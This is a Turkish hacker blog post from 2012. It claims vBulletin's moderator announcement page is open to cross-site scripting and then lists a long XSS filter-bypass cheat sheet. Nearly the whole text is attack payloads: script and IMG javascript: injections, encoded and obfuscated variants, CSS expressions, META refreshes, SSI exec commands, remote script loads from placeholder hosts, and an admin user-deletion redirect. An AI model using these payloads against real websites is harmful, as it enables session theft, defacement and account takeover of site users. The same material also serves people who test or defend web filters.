28 Haziran 2012 Perşembe

XSS [x-x Cross Site Scripting] Bypass yontemleri (Special_Hacker)



Selamun Aleykum.Ben bu mevzuya bakiyordum : http://www.millikuvvetler.net/showthread.php?t=8312
Ve orda Special_Hacker-in yazdigi 1 yorum garip geldi bana. En iyisi vbulletin gibi 1 yazi yazmisdi. Bunun yanlis olduguna dair 1 dokuman var elimde. Simdi yazmakdan yorulmadim anasini satiyim Amma yinede soylemek zorundayim. Ilk once yorum olarak bildirmekk istedim amma post-da limit oldugundan korkdum hemde ayri 1 mevzu olarak acsaniz daha rahat olar . Baslayalim :
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++

Alıntı:
Special_Hacker Nickli Üyeden Alıntı Mesajı göster
Tesekkür Ederim Abi

en iyisi vbulletin
Ellerine Saglik. Amma Gelelimki bu en iyisi olayina. Dunyada 100% secure yoktur. Neden? Cunki her 1 seyin bypass-i olur. Ve VBulletin-de dahildir. Ozellikle bizim kullandigimiz surumde XSS acigi var. MODCP-de. Simdi MODCP-de ne gibi XSS acigimiz ola bilir. Iste burda : http://siteadi.com/forum/modcp/announcement.php?do=add
Burda biz announcement yukleyerken istediyimiz JS yedire biliyoruz. mesela :
Kod:
<script>alert(1);</script>
Simdi eger bu JS tutmazsa Bizde Bypass yontemlerine bas vururuz.
Kod:
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
<XSS verse &lt;XSS gibi olursa bakalim Vulnerablemi diye :
Kod:
'';!--"<XSS>=&{()}
Kod:
<SCRIPT SRC=http://Siteadi.tld/xss.js></SCRIPT>
Simdide IMG SRC ile 1 bakalim [bypass yontemleri]:
Kod:
<IMG SRC="javascript:alert('XSS');">
Kod:
<IMG SRC=javascript:alert('XSS')>
Kod:
<IMG SRC=JaVaScRiPt:alert('XSS')>
Kod:
<IMG SRC=javascript:alert(&quot;XSS&quot;)>
Kod:
<IMG SRC=`javascript:alert("AF says, 'XSS'")`>
Kod:
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
fronCharCodeStrin() :
Kod:
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
XSS Calculator :
Kod:
<IMG SRC=javascript:alert('XSS')>
Biraz daha inelim :
Kod:
<IMG SRC=javascript:alert('XSS')>
assumes $tmp_string =~ s/.*\&#(\d+);.*/$1/; :
Kod:
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
Ve jav Script pentesting :
Kod:
<IMG SRC="jav ascript:alert('XSS');">
Ve Genislenmis Hex-lenmis :
Kod:
<IMG SRC="jav&#x09;ascript:alert('XSS');">
Kod:
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
Kod:
<IMG SRC="jav&#x0D;ascript:alert('XSS');">
Buda `Enter :
Kod:
<IMG
SRC
=
"
j
a
v
a
s
c
r
i
p
t
:
a
l
e
r
t
(
'
X
S
S
'
)
"
>
NULL-lari Break up edelim :
Kod:
perl -e 'print "<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>";' > out
1-32 Decimal forumda :
Kod:
<IMG SRC="    javascript:alert('XSS');">
Ve SCRIPT/XSS :
Kod:
<SCRIPT/XSS SRC="http://Siteadi.tld/xss.js"></SCRIPT>
onload-a bakalim :
Kod:
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
Ve basqa 1 null bypass-imiz :
Kod:
<SCRIPT/SRC="http://Siteadi.tld/xss.js"></SCRIPT>
Basqa Bypass-lar SCRIPT Source-lerle :
Kod:
<<SCRIPT>alert("XSS");//<</SCRIPT>
Ve <B> forumunda :
Kod:
<SCRIPT SRC=http://siteadi.tld/xss.js?<B>
Meta src forumuyla :
Kod:
<SCRIPT SRC=//siteadi.tld/.j>
Burda ".j" validdir cunki SCRIPT Tag-larinda kolaylikla inputa gece bilir.
IMG SRC bypasslarimizdan biri ((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>):
Kod:
<IMG SRC="javascript:alert('XSS')"
Simdide iframe JS Tag-larimizi kullanalim :
Kod:
<iframe src=http://siteadi.tld/scriptlet.html <
semicolons-lar :
Kod:
<SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>
var yolumuz <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT> VE kodumuz inject olursa boyle okunur <SCRIPT>var a="\\";alert('XSS');//";</SCRIPT> Yani :
Kod:
\";alert('XSS');//
Bazen oluyo ne yazarsak Title-de cikar onun icin titlemizi html taglarimizla kapatiyoruz ve bypass ediyoruz:
Kod:
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
INPUT-lara gecelim :
Kod:
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
Arkaplan calismasi :
Kod:
<BODY BACKGROUND="javascript:alert('XSS')">
Onload-imiza gelelim :
Kod:
<BODY ONLOAD=alert('XSS')>
Biraz acalim :
Kod:
1. FSCommand() (attacker can use this when executed from within an embedded Flash object)
2. onAbort() (when user aborts the loading of an image)
3. onActivate() (when object is set as the active element)
4. onAfterPrint() (activates after user prints or previews print job)
5. onAfterUpdate() (activates on data object after updating data in the source object)
6. onBeforeActivate() (fires before the object is set as the active element)
7. onBeforeCopy() (attacker executes the attack string right before a selection is copied to the clipboard - attackers can do this with the execCommand("Copy") function)
8. onBeforeCut() (attacker executes the attack string right before a selection is cut)
9. onBeforeDeactivate() (fires right after the activeElement is changed from the current object)
10. onBeforeEditFocus() (Fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected)
11. onBeforePaste() (user needs to be tricked into pasting or be forced into it using the execCommand("Paste") function)
12. onBeforePrint() (user would need to be tricked into printing or attacker could use the print() or execCommand("Print") function).
13. onBeforeUnload() (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent)
14. onBegin() (the onbegin event fires immediately when the element's timeline begins)
15. onBlur() (in the case where another popup is loaded and window looses focus)
16. onBounce() (fires when the behavior property of the marquee object is set to "alternate" and the contents of the marquee reach one side of the window)
17. onCellChange() (fires when data changes in the data provider)
18. onChange() (select, text, or TEXTAREA field loses focus and its value has been modified)
19. onClick() (someone clicks on a form)
20. onContextMenu() (user would need to right click on attack area)
21. onControlSelect() (fires when the user is about to make a control selection of the object)
22. onCopy() (user needs to copy something or it can be exploited using the execCommand("Copy") command)
23. onCut() (user needs to copy something or it can be exploited using the execCommand("Cut") command)
24. onDataAvailable() (user would need to change data in an element, or attacker could perform the same function)
25. onDataSetChanged() (fires when the data set exposed by a data source object changes)
26. onDataSetComplete() (fires to indicate that all data is available from the data source object)
27. onDblClick() (user double-clicks a form element or a link)
28. onDeactivate() (fires when the activeElement is changed from the current object to another object in the parent document)
29. onDrag() (requires that the user drags an object)
30. onDragEnd() (requires that the user drags an object)
31. onDragLeave() (requires that the user drags an object off a valid location)
32. onDragEnter() (requires that the user drags an object into a valid location)
33. onDragOver() (requires that the user drags an object into a valid location)
34. onDragDrop() (user drops an object (e.g. file) onto the browser window)
35. onDrop() (user drops an object (e.g. file) onto the browser window)
36. onEnd() (the onEnd event fires when the timeline ends.  This can be exploited, like most of the HTML+TIME event handlers by doing something like <P STYLE="behavior:url('#default#time2')" onEnd="alert('XSS')">)
37. onError() (loading of a document or image causes an error)
38. onErrorUpdate() (fires on a databound object when an error occurs while updating the associated data in the data source object)
39. onFilterChange() (fires when a visual filter completes state change)
40. onFinish() (attacker can create the exploit when marquee is finished looping)
41. onFocus() (attacker executes the attack string when the window gets focus)
42. onFocusIn() (attacker executes the attack string when window gets focus)
43. onFocusOut() (attacker executes the attack string when window looses focus)
44. onHelp() (attacker executes the attack string when users hits F1 while the window is in focus)
45. onKeyDown() (user depresses a key)
46. onKeyPress() (user presses or holds down a key)
47. onKeyUp() (user releases a key)
48. onLayoutComplete() (user would have to print or print preview)
49. onLoad() (attacker executes the attack string after the window loads)
50. onLoseCapture() (can be exploited by the releaseCapture() method)
51. onMediaComplete() (When a streaming media file is used, this event could fire before the file starts playing)
52. onMediaError() (User opens a page in the browser that contains a media file, and the event fires when there is a problem)
53. onMouseDown() (the attacker would need to get the user to click on an image)
54. onMouseEnter() (cursor moves over an object or area)
55. onMouseLeave() (the attacker would need to get the user to mouse over an image or table and then off again)
56. onMouseMove() (the attacker would need to get the user to mouse over an image or table)
57. onMouseOut() (the attacker would need to get the user to mouse over an image or table and then off again)
58. onMouseOver() (cursor moves over an object or area)
59. onMouseUp() (the attacker would need to get the user to click on an image)
60. onMouseWheel() (the attacker would need to get the user to use their mouse wheel)
61. onMove() (user or attacker would move the page)
62. onMoveEnd() (user or attacker would move the page)
63. onMoveStart() (user or attacker would move the page)
64. onOutOfSync() (interrupt the element's ability to play its media as defined by the timeline)
65. onPaste() (user would need to paste or attacker could use the execCommand("Paste") function)
66. onPause() (the onpause event fires on every element that is active when the timeline pauses, including the body element)
67. onProgress() (attacker would use this as a flash movie was loading)
68. onPropertyChange() (user or attacker would need to change an element property)
69. onReadyStateChange() (user or attacker would need to change an element property)
70. onRepeat() (the event fires once for each repetition of the timeline, excluding the first full cycle)
71. onReset() (user or attacker resets a form)
72. onResize() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
73. onResizeEnd() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
74. onResizeStart() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
75. onResume() (the onresume event fires on every element that becomes active when the timeline resumes, including the body element)
76. onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)
77. onRowsEnter() (user or attacker would need to change a row in a data source)
78. onRowExit() (user or attacker would need to change a row in a data source)
79. onRowDelete() (user or attacker would need to delete a row in a data source)
80. onRowInserted() (user or attacker would need to insert a row in a data source)
81. onScroll() (user would need to scroll, or attacker could use the scrollBy() function)
82. onSeek() (the onreverse event fires when the timeline is set to play in any direction other than forward)
83. onSelect() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");)
84. onSelectionChange() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");)
85. onSelectStart() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");)
86. onStart() (fires at the beginning of each marquee loop)
87. onStop() (user would need to press the stop button or leave the webpage)
88. onSyncRestored() (user interrupts the element's ability to play its media as defined by the timeline to fire)
89. onSubmit() (requires attacker or user submits a form)
90. onTimeError() (user or attacker sets a time property, such as dur, to an invalid value)
91. onTrackChange() (user or attacker changes track in a playList)
92. onUnload() (as the user clicks any link or presses the back button or attacker forces a click)
93. onURLFlip() (this event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)
94. seekSegmentTime() (this is a method that locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)
Buda Kullanila bilir Emrler. DYNSRC :
Kod:
<IMG DYNSRC="javascript:alert('XSS')">
LOWSRC :
Kod:
<IMG LOWSRC="javascript:alert('XSS')">
Arkaplan wave :
Kod:
<BGSOUND SRC="javascript:alert('XSS');">
Ve bypass yollarimiz :
Kod:
<BR SIZE="&{alert('XSS')}">
LAYER :
Kod:
<LAYER SRC="http://site.tld/scriptlet.html"></LAYER>
CSS (Casdanding 'Style Sheets') :
Kod:
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
IE & Netscape :
Kod:
<LINK REL="stylesheet" HREF="http://site.tld/xss.css">
STYLE ve LINK Tag :
Kod:
<STYLE>@import'http://site.tld/xss.css';</STYLE>
HTTP-EUQEST :
Kod:
<META HTTP-EQUIV="Link" Content="<http://site.tld/xss.css>; REL=stylesheet">
Binding Filemiz :
Kod:
<STYLE>BODY{-moz-binding:url("http://site.tld/xssmoz.xml#xss")}</STYLE>
ve Bypass :
Kod:
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS
VBScript :
Kod:
<IMG SRC='vbscript:msgbox("XSS")'>
Mocha :
[code]<IMG SRC="mocha:
Kod:
">
LiveScript :
[code]<IMG SRC="livescript:
Kod:
">
US-ASCII :
Kod:
¼script¾alert(¢XSS¢)¼/script¾
XSS MEta Request :
Kod:
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
HTTP-QEUIV Encode base64 :
Kod:
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
Pentesting Bypass :
Kod:
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
FRAME SET :
Kod:
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
TB :
Kod:
<TABLE BACKGROUND="javascript:alert('XSS')">
TD Vulnerable :
Kod:
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
DIV Backgroun-Image :
Kod:
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
XSS Exploit :
Kod:
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
1-32, 34, 39, 160, 8192-8.13, 12288, 65279 kodlasmasi :
Kod:
<DIV STYLE="background-image: url( javascript:alert('XSS'))">
DIV Expression :
Kod:
<DIV STYLE="width: expression(alert('XSS'));">
STYLE tags For broken up JS for XSS :
Kod:
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
STYLE Attribute :
Kod:
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
IE 6.0 & Netscape :
Kod:
<XSS STYLE="xss:expression(alert('XSS'))">
Experssioan Image Style :
Kod:
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex&#x2F;*XSS*//*/*/pression(alert("XSS"))'>
STYLE Tag'Z Netscape -nin Onceki Versiyalarinda :
Kod:
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
STYLE Tag Backgroun-image ile :
Kod:
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
STYLE tag-lari background ile :
Kod:
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
Downlevel-Hidden :
Kod:
<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
Base :
Kod:
<BASE HREF="javascript:alert('XSS');//">
OBJECT Tag :
Kod:
<OBJECT TYPE="text/x-scriptlet" DATA="http://site.tld/scriptlet.html"></OBJECT>
ClassID via Object (Netscape) :
Kod:
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>
swf :
Kod:
<EMBED SRC="http://site.tld/xss.swf" AllowScriptAccess="always"></EMBED>
EMBED SVG :
Kod:
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
ActionScript :
Kod:
a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")";
eval(a+b+c+d);
XML Namespace :
Kod:
<HTML xmlns:xss>
  <?import namespace="xss" implementation="http://site.tld/xss.htc">
  <xss:xss>XSS</xss:xss>
</HTML>
XML Dataislan CDATA ile :
Kod:
<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
XML - Cdata :
Kod:
<XML ID="xss"><I><B>&lt;IMG SRC="javas<!-- -->cript:alert('XSS')"&gt;</B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
XML Embedded :
Kod:
<XML SRC="xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
HTML + Time XML :
Kod:
<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t"
Filtre-ler :
Kod:
<SCRIPT SRC="http://site.tld/xss.jpg"></SCRIPT>
SSI(Server Side Includes) :
Kod:
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://site.tld/xss.js></SCRIPT>'"-->
IPT :
Kod:
<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>
IMG SVG :
Kod:
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
Under Apache :
Kod:
Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
HTTP-EQUIV :
Kod:
<META HTTP-EQUIV="Set-Cookie" Content="USERID=&lt;SCRIPT&gt;alert('XSS')&lt;/SCRIPT&gt;">
UTF-7 Encoding :
Kod:
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
SCRIPT via A-Href :
Kod:
<SCRIPT a=">" SRC="http://site.tld/xss.js"></SCRIPT>
Kod:
<SCRIPT =">" SRC="http://site.tld/xss.js"></SCRIPT>
Kod:
<SCRIPT a=">" '' SRC="http://site.tld/xss.js"></SCRIPT>
Eyni Filter "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i" :
Kod:
<SCRIPT "a='>'" SRC="http://site.tld/xss.js"></SCRIPT>
"/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i" Firefox-da calismaz :
Kod:
<SCRIPT a=`>` SRC="http://site.tld/
xss.js"></SCRIPT>
Pair-ler :
Kod:
<SCRIPT a=">'>" SRC="http://site.tld/xss.js"></SCRIPT>
Document.Write :
Kod:
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://site.tld/xss.js"></SCRIPT>
IPTD :
Kod:
<A HREF="http://66.102.7.147/">XSS</A>
URL encoding :
Kod:
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
Rakamsal Dilim :
Kod:
<A HREF="http://1113982867/">XSS</A>
Encoding :
Kod:
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
0x42 :
Kod:
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
Unknown Encoding :
Kod:
<A HREF="http://0102.0146.0007.00000223/">XSS</A>
Mixed Coding :
Kod:
<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>
http:// :
Kod:
<A HREF="//www.google.com/">XSS</A>
URL decoding :
Kod:
<A HREF="//google">XSS</A>
Kod:
<A HREF="http://site.tld@google">XSS</A>
Kod:
<A HREF="http://google:site.tld">XSS</A>
Kod:
<A HREF="http://google.com/">XSS</A>
absolute DNS :
Kod:
<A HREF="http://www.google.com./">XSS</A>
Kod:
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>
Kod:
<A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A>
Sescode :
Kod:
<
%3C
&lt
&lt;
&LT
&LT;
<
<
<
<
<
<
<
<
<
<
<
<
&#x3c
&#x03c
&#x003c
&#x0003c
&#x00003c
&#x000003c
&#x3c;
&#x03c;
&#x003c;
&#x0003c;
&#x00003c;
&#x000003c;
&#X3c
&#X03c
&#X003c
&#X0003c
&#X00003c
&#X000003c
&#X3c;
&#X03c;
&#X003c;
&#X0003c;
&#X00003c;
&#X000003c;
&#x3C
&#x03C
&#x003C
&#x0003C
&#x00003C
&#x000003C
&#x3C;
&#x03C;
&#x003C;
&#x0003C;
&#x00003C;
&#x000003C;
&#X3C
&#X03C
&#X003C
&#X0003C
&#X00003C
&#X000003C
&#X3C;
&#X03C;
&#X003C;
&#X0003C;
&#X00003C;
&#X000003C;
\x3c
\x3C
\u003c
\u003C
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++

&& Respect! ^^
Greet`Z To : Ha Ckaers  //
Avatar Fearless!! ^_^


Gönderen zaman:

Hiç yorum yok:

Yorum Gönder

Kaydol: Kayıt Yorumları (Atom)